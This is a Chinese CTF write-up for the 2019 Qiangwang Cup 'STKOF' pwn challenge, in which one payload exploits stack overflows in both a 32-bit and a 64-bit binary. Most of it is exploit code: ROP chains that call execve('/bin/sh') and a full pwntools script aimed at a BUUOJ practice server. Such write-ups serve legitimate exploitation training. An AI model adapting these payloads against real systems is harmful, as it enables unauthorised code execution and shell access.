强网杯2019 拟态 STKOF【buu刷题】

文章描述了如何分析两个不同架构(32位和64位)的程序,发现它们都有栈溢出漏洞。作者使用ROP链分别构建了针对两种架构的payload,并通过调整ESP/RSP寄存器的值来使payload适应不同长度的溢出。最终目标是执行`/bin/sh`以获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

强网杯2019 拟态 STKOF

可以看到此题有给了我们两个附件 我开题的时候是一脸懵逼完全没有头绪

简单的checksec一下发现两个附件一个是32位程序 1个是64位程序

请添加图片描述

然后放进ida和ida64里面看看 十分相似的 且都是十分简单的栈溢出漏洞

请添加图片描述

实在没什么头绪 上网搜一下后恍然大悟,原来是要求我们用同一个脚本既能打通32位有能打通64位

那我们仔细审查以下代码发现溢出长度不一样 一个是0x110(32位)一个是0x118(64位)

首先我们先用ropchain来分别生成这两者的payload

p = ''

	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9064) # @ .data + 4
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x080d9060) # padding without overwrite ebx
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x080495a3) # int 0x80

payload32=p

p = ''

	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000461645) # syscall ; ret

payload64=p

然后由于两者的溢出长度不一样 那么我们就可以通过add_esp和add_rsp这两者让pwn32和pwn64分别跳转到不同的ropchain中 达成执行system(“/bin/sh”)的效果

add_esp = 0x080a8f69 # add esp, 0xc ; ret
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

完整exp

from pwn import *
from struct import pack

io = remote('node4.buuoj.cn', 27638)

p = b''

p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80

payload32 = p

p = b''

p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(0x3b)
p += pack('<Q', 0x00000000004011dc) # syscall
payload64 = p

add_esp = 0x080a8f69 # add esp, 0xc ; ret

add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

payload = b'a'.ljust(0x110, b'\x00') + p32(add_esp) + b'a' * 4 + p64(add_rsp) + payload32.ljust(0xd8,b'\x00') + payload64

io.sendline(payload)

io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值